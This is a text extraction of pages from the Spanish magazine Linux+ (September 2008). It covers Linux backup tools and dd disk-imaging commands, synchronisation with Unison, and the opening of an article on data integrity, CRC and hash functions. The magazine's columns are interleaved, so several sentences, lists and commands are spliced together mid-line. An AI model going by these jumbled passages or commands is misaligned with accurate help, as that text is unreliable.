Este programa también cuenta con interfaz gráfica y es bastante sencillo de usar, aunque con más opciones que Keep en mi opinión. Podemos descargarlo desde su sitio web (http: Figura 2. Usando Keep //sbackup.wiki.sourceforge.net/), aunque se encuentra en la mayoría de los repositorios de las diferentes distribuciones. Como vemos en la Figura 7, al inicio contamos con tres opciones bien claras: usar la configuración recomendada: archivos de todos los usuarios, configuración (/etc) y directorio /var, la segunda opción es configurar todos los parámetros y la tercera sólo admitir copias manuales. En la viñeta de Include (Figura 8) vemos cómo podemos agregar más carpetas a nuestra copia o sacar alguna que no necesitamos más, incluso se pueden agregar archivos individuales. La siguiente viñeta Exclude es similar, pero Figura 3. Destino de copia con Keep pondremos lo que no queremos incluir. Esto pueden ser ciertos tipos de archivos, carpetas o limitando el tamaño de los archivos. La viñeta de Destination (Figura 9) nos ofrece la posibilidad de elegir el destino de la copia, incluso vemos que podemos usar un ordenador remoto o un servidor FTP, lo cual es muy interesante. Debemos tener en cuenta que una copia vía FTP a un servidor remoto puede tomar mucho tiempo si los datos son muchos y no es un método seguro en cuanto a la privacidad de los datos. La siguiente viñeta Time ofrece la posibilidad de programar las copias para que se ejecuten a intervalos regulares y olvidarnos Figura 4. Opciones con Keep

48

Linux+ 9/2008

Figura 7. Simple Backup

Figura 8. Incluyendo archivos

Figura 9. Eligiendo destino en Simple Backup


seguridad Copias de seguridad de hacerlas manualmente. Hay una viñeta más llamada Purging que nos permite limpiar de copias viejas o con errores a fin de no tener datos repetidos. Para restaurar datos

Figura 10. Simple Backup Restore

usaremos el otro programa de la suite: Simple Backup Restore que permite elegir la copia que queramos y el punto de restauración (fecha), después podremos recuperar todos los archivos o solamente algunos como vemos en la Figura 10. Los dos botones son para las dos opciones: recuperar en las ubicaciones originales (en general la que usaremos) o la segunda en otro destino diferente. Simple Backup es un programa muy recomendado por su potencia y simpleza de uso, lo que hace que enseguida podamos usarlo y olvidarnos de la tarea de realizar copias manuales.

En la red • • • • •

Figura 11. PyBackPack

Skolelinux backup http://slbackup.alioth.debian.org/ Amanda http://amanda.zmanda.com/ MultiCD http://danborn.net/multicd/ Areca http://areca.sourceforge.net/ Bacula http://www.bacula.org/

PyBackPack

Este sencillo programa para Gnome es muy fácil de usar con solamente tres viñetas como vemos en la Figura 11. La primera es muy clara: hacer una copia de todo nuestro directorio de usuario incluyendo configuraciones y documentos a un CD o DVD con tan solo un botón. Si queremos personalizar nuestra copia usaremos la viñeta Backup donde podremos agregar o quitar carpetas y eligiendo el destino de la misma, pudiendo ser en el disco rígido o disco extraíble, grabadora de CD/DVD o un ordenador remoto vía SSH. La restauración es sencilla y similar a los otros programas, primero eligiendo la copia que hicimos previamente y el punto de restauración y pulsar el botón Restore, como detalle podemos ver que no podemos elegir otro destino que no sea la ubicación original de los archivos (Figura 12).

PartImage

Si queremos hacer una copia completa de una partición este software es el ideal, podremos descargarlo desde su sitio oficial: http: //www.partimage.org/ Con él guardaremos el 100% de cualquier partición ya que soporta muchos tipos como lo son:

Club Pro ESPAWEB

www.espaweb.es Especialistas en planes para Distribuidores sobre plataforma Linux y Windows, marca blanca. Servidores Dedicados y Housing Proyectos y Soluciones a Medida Datacenter propio en Alicante Soporte técnico altamente cualificado, 24*7 902 380 380

EVO Sistemas Libres

www.evosistemas.com/ Desarrollo de software, aplicaciones basadas en web, integración, mantenimiento, administración y migración de sistemas de software libre, consultoría TIC, sistemas VoIP. central@evosistemas.com

DESARROLLADORES.ES

www.desarrolladores.es Desarrollo de Portales de Gestión Avanza dos, Extranets, Intranets, Aplicaciones M2M y Aplicaciones GIS. Uso de tecnologías con licencias GNU/GPL. Experiencia en proyectos de Administración Pública. Especializados en plataformas de gestión usando TOMCAT, JSP, JAVA, POSTGRESQL y JASPER REPORTS.

  

Zitralia

info@zitralia.com Zitralia es una compañía española de I+D+i pionera en el desarrollo de sistemas de seguridad avanzada en entornos distribuidos y sistemas de acceso remoto. El objetivo fundamental de la compañía se centra en mitigar el acceso ilegítimo y el robo de datos, mediante tecnologías punteras de protección de la información.

www.lpmagazine.org

49


seguridad Copias de seguridad • • • • • • • •

Ext2/3, Reiser3, FAT16/32, HPFS, sistema de archivos de IBM OS/2, JFS, XFS, UFS (beta), sistema de archivos de Unix, HFS (beta), sistema de archivos de MacOS, NTFS (experimental), Windows NT, 2000 y XP.

comenzar desde la consola necesitamos acceso de root, puede ser mediante el comando su o ejecutando: sudo mondoarchive El programa tiene una pantalla principal como la de la Figura 14 donde nos muestra las opciones que tenemos disponibles en donde realizar las copias:

• Discos CD-R o CD-RW, • • DVDs, • CD streamer, • Unidad de cinta, Tiene la ventaja de que solamente se guarda • Directorio remoto en la red (NFS), la parte ocupada con los datos y no el espacio • Disco rígido. libre y comprimida con GZIP/BZIP2, su uso es sencillo. Lo ejecutaremos como usuario root Después de elegir nuestro destino para los de la forma: archivos se nos preguntará si queremos comprimir los datos y en qué nivel, el siguiente sudo partimage paso es decir qué directorio queremos guardar, por ejemplo / o /home/, también se nos Se nos abrirá la pantalla principal (Figura 13) en pregunta si deseamos incluir particiones Windonde se listan las particiones, seleccionaremos dows si tenemos y los directorios a excluir, una de la lista, luego pondremos la ubicación y el último paso es acerca de verificar los datos el nombre a donde grabarla y pulsaremos F5, guardados. en la siguiente pantalla podremos elegir el tipo Mondo trae otra utilidad llamada Mindi de compresión o ninguna, revisar por errores o que permite construir un disco de rescate realizar la copia en varios archivos de cierto booteable en caso que no podamos inicializar tamaño, muy útil para grabar en varios CDs o nuestra máquina y poder recuperar los datos DVDs si la partición fuese muy grande. desde el backup.

50

Para guardar un disco completo:

dd if=/dev/hdx of=/dev/hdy dd if=/dev/hdx of=/camino/imagen dd if=/dev/hdx | gzip > /camino/ imagen.gz

Reemplazar x por el número de disco e y por la de destino, camino puede ser reemplazado por cualquier otro destino en donde queramos nuestra copia. •

Para restaurar el disco:

dd if=/camino/imagen of=/dev/hdx gzip -dc /camino/imagen.gz | dd of=/ dev/hdx

Reemplazamos camino por el origen de nuestra copia y x por el disco destino: •

Copiar solamente una partición y envío remoto con ssh:

dd if=/dev/hda1 bs=1k conv=sync,noerror |

gzip

-c

|

ssh

-c

blowfish

usuario@maquina "dd of=archivo.gz bs=1k"

En este caso uso ssh para hacer una copia de la partición 1 del disco hda en el archivo destino Para quienes deseen un método rápido y a la archivo.gz en el servidor remoto. antigua o cuando no podamos instalar otro software. Podemos usar el comando multiuso Conclusión dd que se encuentra en todas las distribu- Las copias de seguridad siempre han sido un ciones, su uso es sencillo mirando algunos aspecto fundamental en entornos de trabajo emejemplos: presariales, pero de a poco usuarios hogareños están viendo su importancia y necesidad, con la proliferación de grabadoras de CD/DVD y dispositivos como pendrives y discos externos, esta tarea se ha convertido en algo sencillo y rápido para realizar, así que a no olvidarnos de guardar nuestros datos.

Mondo Rescue

Método alternativo

Figura 12. Restaurando con PyBackPack

Figura 14. Mondo Rescue

Figura 13. PartImage

Figura 15. Mondo Rescue generando copia

Otra utilidad de consola para realizar copias de seguridad y protegernos ante desastres. Podemos descargar su última versión desde el sitio http://www.mondorescue.org/ o descargarlo desde los repositorios de nuestra distribución. Su uso es bastante sencillo, para

Linux+ 9/2008

Sobre el autor Gabriel García es Licenciado en Sistemas de la Universidad CAECE en Argentina, actualmente cursando una maestría en Ingeniería del Software en la Universidad Politécnica de Madrid. Fundador de la compañía de diseño y programación web CrystalSys (www. crystalsys.com.ar), con más de 10 años de experiencia en la informática, programación en varios lenguajes y en diferentes plataformas para diferentes compañías alrededor del mundo.


software Unison

Unison, sincronizando datos entre nuestros equipos Francisco Javier Carazo Gil

linux@software.com.pl

En un mundo en el que cada vez es más común usar más de un equipo, el almacenamiento de información que necesitamos en todo momento es un problema. Existen soluciones como las unidades extraíbles, el almacenamiento en línea o simplemente, el separar los datos dependiendo del equipo, que más o menos satisfacen la necesidad de tener los datos siempre disponibles. Sin embargo, las limitaciones de una y el coste económico (y otros factores como la inseguridad) en otras, hacen que estas prácticas sólo sean útiles en ciertas circunstancias. Por esta razón os presentamos Unison, un software de código abierto, multiplataforma, que permite mantener sincronizados los datos entre distintos equipos. Fácil de utilizar, gratuito, y totalmente libre, posiblemente sea la solución a un problema muy común para muchos.

52

D

esde el momento en el que me compré mi primer portátil, comencé a buscar un software que pudiese mantener actualizados los datos que necesitaba en ese nuevo equipo y en mi sobremesa. Buscando un poco encontré este programa de código abierto llamado Unison. Existen otros sincronizadores y herramientas similares como rsync o Intellisync, pero desde un primer momento comencé a usar Unison y realmente cumple todas mis necesidades. Creado por Benjamin C. Pierce en la Escuela de Ingeniería de la Universidad de Pennsylvania, la última versión del programa data del 20 de enero de 2008 y su desarrollo paró en esta versión. Los desarrolladores del proyecto Unison han creado el descendiente natural de éste, Harmony, que con el tiempo seguro que tiene tanto éxito como su predecesor. La última versión publicada de Unison, la 2.27.57, cumple a la perfección con su labor y, además, es totalmente estable. Posiblemente en un futuro ya hablaremos de Harmony, y de otros sincronizadores y herramientas de control de versiones como CVS, Subversion o Bazaar que también cumplen una función en algunos casos similares.

Linux+ 9/2008

Diferencias de Unison con otros programas similares

Enumeremos algunos aspectos básicos de Unison para que veamos qué ventajas y qué uso podemos darle en comparación con otros programas que a priori pueden parecer muy similares: •

Unison es multiplataforma, además de correr sobre distintos sistemas operativos de tipo Unix: GNU/Linux, Solaris, OS X..., también se ejecuta en Windows. Podemos aprovechar esta característica para sincronizar dos equipos que estén funcionando con sistemas distintos, por ejemplo un equipo con GNU/Linux y otro con Windows. A diferencia de otras utilidades de backup o de mirroring, Unison puede tratar dos réplicas de un sistema distribuido de directorios. Las actualizaciones que no traen conflicto se ejecutan automáticamente y las que pueden presentarlo, preguntan al usuario. Al no ser un sistema de ficheros distribuidos, sino un programa que se ejecuta a nivel de usuario, Unison no necesita modificar el kernel ni tampoco disponer de permisos de superusuario.


software Unison •

• •

Unison trabaja con dos máquinas que estén conectadas, ya sea directamente a una red o mediante una conexión segura encriptada con SSH. Para un mejor uso del ancho de banda, utiliza un protocolo de compresión similar al que usa rsync. Unison es resistente a los fallos ya que es cuidadoso en dejar las réplicas y sus propias estructuras privadas en un estado estable siempre, aún si se produce un estado de terminación anormal o fallo en la comunicación. Su especificación es completa, clara y precisa. Es libre y la totalidad de su código está disponible bajo la licencia GPL.

Instalación

Como todo el software de terceros en las distribuciones de GNU/Linux con algún sistema de paquetería, la instalación es simple, rápida y además tendremos las actualizaciones disponibles de manera automática. Ya que el desarrollo de Unison se ha detenido, a priori no habrá actualizaciones. Digo a priori, porque los repositorios siempre van un poco más despacio que los proyectos en sí, por lo que por ejemplo en mi caso, en mis repositorios en Ubuntu, tengo disponible la versión 2.13.16 por lo que si estáis en el mismo caso descargad el programa directamente desde la página del mismo. Si queréis instalarlo con algún sistema de paquetería, dependiendo de vuestra distribución podéis usar Synaptics o cualquier otra interfaz gráfica. También podéis instalarlo directamente desde la consola: $ sudo

el siguiente parámetro: make UISTYLE=text. Una vez hecho esto ya tendremos el binario. En caso de que queráis instalar también la interfaz gráfica, compilando previamente el código, deberéis instalar: gtk y LablGtk. La primera librería podéis encontrarla en http://www.gtk.org y la segunda en http://wwwfun.kurims.kyotou.ac.jp/soft/olabl/lablgtk.html. También podréis encontrar los paquetes respectivos en vuestro sistema de paquetería. Una vez hecho esto, ejecutad make cambiando el parámetro: make UISTYLE=gtk2. Una vez ya tenemos instalado tanto el programa en sí, como su front-end pasemos a explicar cómo usarlo. Como habréis visto ya por lo que llevamos, podemos usar Unison mediante una interfaz en modo texto y mediante una interfaz gráfica. Explicaremos ambas a continuación. Asimismo, explicaremos el uso tanto en local, sincronizando dos directorios en una misma máquina; como en red, sincronizando el contenido de dos equipos. A continuación, explicamos los detalles básicos para comenzar a usar la aplicación y aunque creo que con esto tendréis cubiertas gran parte de vuestras necesidades, podréis encontrar más información en la documentación del programa, disponible a través de su web.

mkdir a.tmp touch a.tmp/a a.tmp/b mkdir a.tmp/d touch a.tmp/d/f

Copiamos ahora todo el contenido de a.tmp en un nuevo directorio llamado b.tmp: cp -r a.tmp b.tmp. Ahora tratamos de sincronizar ambos directorios: $ unison a.tmp b.tmp

Como podréis imaginar, el programa devolverá un mensaje diciéndonos que los directorios están sincronizados. Hagamos ahora algunos cambios en los mismos: • •

• •

Uso de la interfaz en modo texto

Para comprender cómo funciona Unison vamos a crear una serie de directorios, subdirectorios y ficheros. Creamos un directorio a.tmp y dentro de él creamos dos archivos vacíos: b y c. Creamos también dentro de él un subdirectorio, d y dentro a su vez de este subdirectorio, apt-get install unison unison-gtk un archivo, también vacío, f. Las instrucciones Como veis, recomiendo también instalar para este proceso que acabamos contar podrían una interfaz gráfica de usuario de Unison, ser las siguientes: desarrollada en GTK, que posteriormente explicaremos la manera de usar. En la sección de descargas del proyecto Unison aparecen los binarios de otras versiones y el código fuente para compilar. Si os decantáis por esta opción para aseguraros que tenéis la última versión del programa, deberéis seguir los siguientes pasos. Primero descargaremos e instalaremos el Objective Caml Compiler (también podéis instalar el paquete ocaml con todas sus dependencias). El segundo y último paso es ejecutar make con

Eliminamos a.tmp/a: $ rm a.tmp/a Introducimos la frase Hola tanto en a.tmp/b como en b.tmp/a: • $ echo "Hola" > a.tmp/b • $ echo "Hola" > b.tmp/b Introducimos la hora del sistema en el fichero b.tmp/c: $ date > b.tmp/c Creamos e introducimos dos textos diferentes en dos archivos de igual nombre h pero en distintos directorios: • $ echo "Linux" > a.tmp/d/h • $ echo "GNU" > b.tmp/d/h

Ahora el programa detectará cambios en los ficheros y procederá a sincronizar ambos directorios. Ejecutamos de nuevo: $ unison a.tmp b.tmp y vemos qué nos aparece: •

En caso de conflicto: <-?-> • Por ejemplo, aparece este caso cuando llega al archivo h y en un directorio

Figura 1. Logo Unison

Figura 2. Logo Harmony

Figura 3. Ejemplo de uso de la interfaz en modo texto de Unison

www.lpmagazine.org

53


software Unison

contiene Linux y en el otro GNU. Para ver las posibles respuestas en cada caso, introducimos ? y el programa nos muestra las distintas posibilidades. Algunas de ellas son: • >: Propagar de izquierda a derecha. • <: Propagar de derecha a izquierda. • /: Omitir. • f: Seguir la recomendación de Unison. • Otras muchas como ver detalles, mezclar el contenido de ambos ficheros, etc. En caso de que encuentre un archivo borrado en un directorio: deleted ----> a • Por ejemplo en este caso con el fichero a.

Figura 4. Logo OpenSSH

En caso de encontrar un archivo nuevo deberéis probar con el parámetro -addversioen uno de los dos directorios: <---- nno. Una vez instalado en las dos máquinas el new file c [f] programa, elegiremos el método de conexión: • Nuevo fichero b encontrado. • Shell remota: para usar este método deSi queremos que Unison proceda con los camberéis tener en el cliente instalado, algún bios, introducid f, es decir, proceder a efectuar tipo de software que permita ejecutar las recomendaciones. Cuando ya están introinstrucciones en la línea de comandos del ducidas las instrucciones, llevará a cabo las servidor. Podríamos usar tanto rsh (despropagaciones: Propagating updates. Mis aconsejado por seguridad) como ssh. Si respuestas han sido las siguientes: usáis Windows, os recomiendo Putty, un buen cliente de ssh que además es libre. • He ignorado el conflicto existente entre los Este método es más seguro que el siguiendos archivos h que contienen uno Linux y te, basado en un socket de entrada y otro otro GNU. de salida. • He procedido con los otros dos cambios. • Socket: este método se basa en la apertura de un socket en las dos máquinas de maneEl resultado que muestra el programa es el ra que puedan comunicarse con el protocosiguiente: lo del programa, que funciona bajo TCP. Es más inseguro que el método anterior, pero Synchronization complete si estamos sincronizando dos máquinas (2 items transferred, 1 skipped, 0 en una red basada en cable ethernet en la failures) que sólo estemos nosotros, puede ser otra skipped: d/h opción a considerar. En caso contrario, hay que tener cuidado dado que los paquetes se Sincronización remota mandan sin encriptación alguna. Como hemos comentado al inicio, Unison también permite sincronizar dos máquinas Shell remota distintas. Para ello deberemos instalar la misma Para poder utilizar este método tendrás que versión del programa, aunque es posible que tener instalado y configurado un servidor ssh funcione con dos versiones distintas. Para ello y un cliente del mismo protocolo. Éste es un tema que no se trata en este artículo, pero en la red encontraréis gran cantidad de información, por lo que no creo que os suponga ningún problema. De cara a facilitar la lectura, indico con cliente o servidor entre paréntesis, en cuál de los dos equipos estamos introduciendo las órdenes, aunque en la mayor parte de las ocasiones desde el cliente. Primero probaremos la conexión ssh entre el cliente y el servidor: •

(cliente) $ ssh direccion equipo_remoto unison -version

En la red •

Unison http://www.cis.upenn.edu/~bcpierce/ unison/

• •

Objective Caml Compiler http://caml.inria.fr GTK

http://www.gtk.org LablGtk http://wwwfun.kurims.kyoto-u.ac.jp/ soft/olabl/lablgtk.html

Figura 5. Elegir perfil

54

Linux+ 9/2008


software Unison De esta manera, veremos la versión de Unison instalada en el servidor. Para comprobar la versión que tenemos instalada en el equipo en el que nos encontramos ahora mismo, hacemos lo mismo directamente desde nuestra consola:

Antes de pasar a la conexión mediante sockets, creo que es necesario comentar cómo ha de realizarse la sincronización con un directorio distinto al $HOME en el servidor. La manera de hacerlo es la siguiente:

(cliente) $ unison -version

(cliente) $ unison a.tmp ssh://direccion_equipo_

Probemos ahora un ejemplo real de sincronizaremoto//ruta_absoluta/a.tmp ción. Básicamente, es igual que en el caso de la sincronización local, excepto en el apartado Por ejemplo: previo de conexión al equipo remoto. Creamos un directorio para probar. Puede servirnos el del $ unison a.tmp ssh://192.168.1.10 anterior caso, a.tmp. Efectuamos la prueba: //media/sda5/a.tmp (cliente) $ unison -testServer a.tmp ssh://direccion_equipo remoto/a.tmp

Sockets Como bien hemos recordado antes, este método de transmisión no encripta la información por lo que es potencialmente peligroso. Aún así si las condiciones son óptimas, sólo dos equipos conectados a una red por cable, y además nosotros controlamos físicamente ambos, no habrá problema alguno. En el resto de los casos, sobre todo en equipos de producción, desaconsejo este método. El funcionamiento del método basado en sockets, requiere de un demonio ejecutándose en el servidor, esperando conexiones entrantes del cliente. Para ejecutar dicho demonio la sintaxis es la siguiente:

El resulado debería ser el directorio a.tmp propagado completamente desde nuestro equipo cliente al directorio $HOME de nuestro usuario en el servidor. Si en el servidor o en el cliente hacéis algún cambio y volvéis a sincronizar, los efectos serán parecidos a los que hemos visto en el ejemplo de sincronización en local. Por cierto, si usáis en el servidor un nombre de usuario distinto al que usáis en el cliente, al igual que si se tratara de una conexión, por ejemplo FTP, podríais indicarlo de la siguiente manera: (servidor) $ unison

detalle importante a tener en cuenta es que si ejecutamos Unison de esta manera, al sincronizar la ruta relativa tendrá como punto de origen el directorio en el que nos encontremos a la hora de insertar el comando en la terminal. En el caso de ssh, la referencia era el directorio $HOME del usuario, a no ser que indicáramos una ruta absoluta. Para comenzar el proceso de sincronización, desde el cliente deberemos ejecutar Unison para que se conecte al demonio del servidor. Imaginemos que estamos en el mismo caso que anteriormente, usando el directorio a.tmp: (cliente) $ unison a.tmp socket://direccion_equipo remoto:nunero_de_puerto/a.tmp

Una vez realizada la conexión, el uso es el mismo que en el caso de la conexión local y en la conexión basada en shell remota con ssh.

Uso de la interfaz gráfica

Cada vez son más las herramientas que disponen de un front-end gráfico, que además de facilitar el uso a los más nóveles, incrementa la eficiencia de las herramientas en muchos casos. Para ejecutar la interfaz gráfica de Uni-socket numero_de_puerto son podemos dirigirnos al menú de nuestro (cliente) $ unison a.tmp ssh://nombre_ escritorio, en mi caso en Ubuntu por ejemplo de_usuario@direccion_ Si el puerto está en uso por alguna aplicación, viene el acceso al programa en el menú Apliequipo_remoto/a.tmp Unison nos devolverá un mensaje de error. Otro caciones -> Accesorios. Si no desde la consola o desde el lanzador de tareas, tecleamos unison-gtk: •

Figura 6. Elegir directorio root

Figura 7. Elegir directorio destino

www.lpmagazine.org

Nos aparecerá un diálogo de selección de perfil o profile. Podemos elegir el perfil por defecto o crear uno nuevo nosotros. Yo para el ejemplo he creado uno de nombre carazo. El siguiente paso es elegir el directorio local a sincronizar. • Elegimos el directorio con el que sincronizaremos el directorio local. Podemos elegir hacerlo por los métodos que hemos visto antes: • Local: Elegiremos el otro directorio local. • SSH: Eligiendo host y usuario en caso de que no sea el mismo con el que estamos logueados en nuestro sistema. • RSH: Igual en la práctica que SSH (aunque más antiguo y menos seguro). • Socket: Eligiendo dirección remota y puerto al que conectarnos.

55


software Unison Una vez elegidos los parámetros, procedemos a efectuar la sincronización y como podéis ver en la captura de pantalla, a pesar de ser el mismo mecanismo, es bastante más ilustrativo el modo gráfico que el texto. No creo que tengáis problemas con: Right to Left, Left to Right, Skip, Restart, Go...

Algunos aspectos más antes de terminar

yecto dedicada a la documentación del mismo. (podemos poner Domingo tanto con un 0 como Viene nombrado por el título User manual. con un 7). También podéis usar * como los que he usado en el ejemplo, de hecho, he indicado Programando una tarea para que lo haga a diario a las 22:30 o sinónimos. sincronizar automáticamente Los sinónimos disponibles son los siguientes: Como podréis haber visto, el proceso es cómodo y muy funcional, pero tiene el inconveniente de • @reboot: cada vez que el sistema arranque tener que ejecutarlo nosotros mismos. Si tene- • @yearly: equivale a 0 0 1 1 * (anualmenmos pensado hacerlo de manera periódica, será te) mejor programarlo para que se ejecute automá- • @monthly: equivale a 0 0 1 * * (mensualticamente. Para ello en los sistemas GNU/Linux mente) disponemos de una magnífica herramienta que • @weekly: equivale a 0 0 * * 0 (semanalmuchos ya conoceréis, crontab. Para configumente) rar crontab podéis seguir las siguientes instruc- • @daily: equivale a 0 0 * * * (a diario) ciones y tras introducir la siguiente sentencia ya • @hourly: equivale a 0 * * * * (cada hora) tendréis el proceso automatizado:

Aunque Unison está desarrollado para sincronizar pares de máquinas, existe un método para poder sincronizar un conjunto mayor de dos. Simplemente deberemos ir sincronizando por pares las distintas máquinas, pero puede existir un problema de conflictos en espiral. Para evitar esto, lo ideal es construir una topología de estrella, con una máquina en el centro que $ crontab -e actúe de hub y que se sincronice una a una con sus distintas ramas. De esta manera se evita este Se nos abrirá un editor de textos para editar el tipo de errores. archivo de configuración crontab. Introducimos la siguiente orden dentro del archivo:

¿Qué es un conflicto para Unison?

A lo largo de este artículo hemos hablado en más de una ocasión de conflictos. Aunque posiblemente sepáis aproximadamente a qué me refiero, más aún cuando se trata de sincronizar, expliquemos concretamente en qué caso Unison detecta un conflicto. Una ruta se detecta como conflictiva cuando las siguientes condiciones se cumplen: • • •

30 22 * * * orden_a_ejecutar

Antes de terminar, voy a explicar el significado de la sentencia anterior. El parámetro -e indica a crontab que quieres editar el archivo de configuración del mismo. Otros posibles parámetros son: -u para indicar el usuario, -l para listar las tareas programadas y -r para borrar las tareas programadas. Si queréis más inforHa sido actualizado en una réplica. mación podéis ver el man de crontab. Dentro Él mismo o uno de sus descendientes han de la opción de edición, que es la que estamos sido actualizados en otra réplica. usando, deberéis rellenar sentencias compuesEl contenido de las dos réplicas no es tas por los siguientes elementos: idéntico. minuto hora día-mes mes día-semana

Podéis ampliar más información sobre Unison y sus posibilidades, entre las que recomiendo El día del mes va de 1 a 31 y el de la semana, la personalización de algunas características en de 0 a 7, siendo 0 Domingo, 1 Lunes... y así sulos ficheros de configuración, en la web del pro- cesivamente hasta 7 que vuelve a ser Domingo

Conclusiones

Como dijimos en un comienzo, la sincronización en la actualidad es cada vez una tarea más demandada, tanto en ambientes profesionales como domésticos, debido al creciente número de equipos y otros dispositivos de almacenamiento. El tener que sincronizar a mano la información además de ser un anacronismo, conlleva una pérdida de tiempo y unas posibilidades bastantes altas de equivocarnos. Asimismo, a pesar de que existen otras soluciones para este mismo problema, Unison se constituye como una alternativa, ligera, libre y eficaz para todos los usuarios. Digo todos los usuarios porque gracias a ser una aplicación multiplataforma presente en todos los sistemas operativos de tipo Unix, además de en Windows, prácticamente abarca a todos los usuarios de equipos de escritorio. Finalmente comentaros que si veis un poco lioso la interfaz en modo texto, uséis la gráfica, también disponible para Windows, ya que es bastante intuitiva y en casos como éste no podemos permitirnos tener ningún error.

Sobre el autor Francisco Javier Carazo Gil es Ingeniero Técnico en Informática de Sistemas. Nacido en Córdoba, actualmente está estudiando Ingeniería en Informática además de trabajar en el Consejo Superior de Investigaciones Científicas. Es webmaster de LinuxHispano.net, sitio del que es uno de los fundadores, además de ser el responsable de LinuxHispanoJuegos y colaborador habitual del podcast de LinuxHispano. También es editor de Referenta. En esta revista es colaborador habitual. Su sitio web personal está en http://www.jcarazo.com. Podéis contactar con él a través de carazo@gmail.com

Figura 8. Aspecto de la interfaz gráfica en el proceso de sincronización

56

Linux+ 9/2008


software Integridad de datos

Integridad de datos con software libre Federico Pacheco

linux@software.com.pl

Luego de haber creado exitosamente la confidencialidad y la disponibilidad, Dios dijo: Hágase la integridad y sean los datos íntegros. Y los datos fueron destinados a ser íntegros por el resto de la eternidad. Luego de haber creado los pilares de la seguridad informática, el día 1024, descansó.

E

ste bien podría ser un fragmento del Génesis Simple, sencillo, pero es causa de muchas confusiones. de la Biblia Informática, donde un creador El concepto puede aplicarse a distintos niveles, que deben ser omnipotente definiera los conceptos funda- tratados de diferentes formas. En este caso nos centraremos mentales de la seguridad. Ahora bien, siendo que no existe tal texto, siempre se ha intentado, de distintos modos, encarar y aplicar los conceptos, con resultados Lo que deberías saber a veces catastróficos. En esta oportunidad, analizaremos la idea en sí misma, • Uso del sistema operativo GNU/Linux o alguna de los aspectos relacionados, y su aplicación sobre los datos en sus variantes. sistemas GNU/Linux, utilizando por supuesto herramientas • Instalación de software en sistemas GNU/Linux. libres.

Conceptos

Podríamos decir que la Integridad es un servicio proporcionado por la seguridad, que garantiza que las modificaciones a la información (incluyendo creación y eliminación) sólo puedan ser realizadas por personal autorizado, utilizando medios y procedimientos autorizados. De esta manera no se modificará ni corromperá la información que se almacene en un sistema. El problema no se refiere solamente a modificaciones intencionales, sino también a accidentes.

58

Linux+ 9/2008

En este artículo aprenderás • • •

Los conceptos relacionados con la integridad como principio de la seguridad informática. Las aplicaciones de las verificaciones de integridad y los métodos utilizados. El uso básico del software asociado a la integridad de datos en un sistema GNU/Linux.


software Integridad de datos en los datos existentes en los discos rígidos. La idea de verificar que un archivo no ha sido alterado a lo largo de un determinado período de tiempo puede ser utilizada para una variedad de aplicaciones. Por ejemplo, si tenemos un servidor al que ingresa un usuario no autorizado y modifica un archivo de configuración, sería prudente tener alguna medida de seguridad tomada, tal que la alteración de dicho archivo no afecte al sistema si es que fue inevitable su acceso, y además, sería deseable que se detecte lo antes posible. Para este tipo de usos, tenemos los sistemas de detección de intrusiones (IDS o Intrusion Detection System) o bien de prevención, en el mejor de los casos. Claro que un IDS actuará en distintos estadios del sistema, incluyendo conexiones de red, archivos, procesos, etc. En el caso particular de las comprobaciones de alteración de datos, la técnica predilecta son los chequeos de integridad, que realizarán herramientas especialmente diseñadas para esto, y que además, podrán funcionar por sí mismas sin depender de un complejo sistema de IDS/IPS.

Aplicaciones

Los métodos de verificación de integridad son muy variados, y pueden llegar a tomar en cuenta diversos parámetros tales como: nombre de archivo, longitud, hora de creación, datos, etc. Algunos usos de las verificaciones de integridad podrían ser el de identificar archivos independientemente de su nombre o ubicación (utilizado en redes P2P), comprobar que un archivo descargado de Internet no haya cambiado (por infección, error en la transferencia, etc.) e identificar registros en bases de datos.

CRC Una forma sencilla de realizar verificaciones de integridad es utilizar un CRC (Control de Redundancia Cíclica) que es un código de detección de errores cuyo cálculo es una larga división en el que se descarta el cociente y el resto se convierte en el resultado. El tamaño del resto es siempre menor que la longitud del divisor, que determina el tamaño del resultado. Casi todo CRC emplea una base finita binaria. Estos tipos de control por redundancia son muy útiles para la detección de modificaciones accidentales (por ejemplo, corrupción de datos o errores en un canal de comunicaciones) pero no proporcionan seguridad contra agentes deliberadamente dañinos dada la simplicidad en su estructura matemática. Es por esto que existen las funciones criptográficas de hash. La implementación más utilizada es el algoritmo CRC-32, que se basa en una firma de 32 bits y pude generar aproximadamente 4 billones de valores. Estos valores se generan a través de una tabla de 256 posiciones. Cada posición tiene un valor que se genera a través de un polinomio que conoce previamente el algoritmo.

Una utilidad típica de los chequeadores de integridad de datos la encontramos en la comprobación de la existencia de rootkits en un sistema. Recordemos que un rootkit es un conjunto de utilidades dedicadas a reemplazar las versiones originales de otras utilidades, con el fin de ocultar comportamientos intrusivos y que el atacante pueda tomar control sobre un sistema de manera sigilosa y duradera. Si bien esta función la pueden cumplir los programas que verifican la integridad, también existen programas creados específicamente para llevar a cabo dicha tarea. La diferencia entre ambos es que un antirootkit solamente realizará comprobaciones de existencia de los rootkits conocidos, y reconocerá la forma en que éstos afectan al sistema y los archivos. Adicionalmente pueden realizar otros chequeos, pero principalmente se basan en los rootkits que ya existen. Por su parte, los programas de verificación de integridad pueden ser configurados para verificar todos los archivos que deseemos dentro de un sistema, pero su uso, claro está, será bastante más complejo, en tanto que los anteriores funcionan casi de inmediato, con la sola ejecución de un comando, a veces sin siquiera un solo switch. Nosotros en este caso, nos enfocaremos en los verificadores automatizados dada su mayor complejidad y Figura 1. Aflck-gul 2.9-1 características.

www.lpmagazine.org

Algoritmos de Hash

Antes de entrar de lleno en el software que nos servirá de apoyo, debemos aclarar primero algún que otro concepto necesario sobre criptografía. Nos referimos a las funciones del tipo hash también llamadas función resumen o digest. La informática define como Hash a una función o algoritmo para generar resúmenes que representen de manera cuasi unívoca a un archivo o dato utilizando la probabilidad. Se le da el nombre de hash también al resultado de dicha función. Una función de hash resume e identifica probabilísticamente (por eso lo de cuasi unívoca) a un conjunto de información, dando como resultado un conjunto imagen finito, generalmente menor. La propiedad fundamental del hashing es que si dos resultados de una misma función son diferentes, entonces las entradas que generaron dichos resultados también lo son. No obstante, al ser mucho menor el rango posible de claves que el rango posible de objetos, pueden existir claves resultantes iguales para objetos diferentes. Una buena función experimentará pocas colisiones en el conjunto esperado de entrada. Algunos de los algoritmos más utilizados son MD5, SHA, RIPE, Whirlpool, Tiger y HAVAL. Veámoslos entonces, recordando que a lo largo de los años se les han encontrado vulnerabilidades matemáticas a todos ellos.

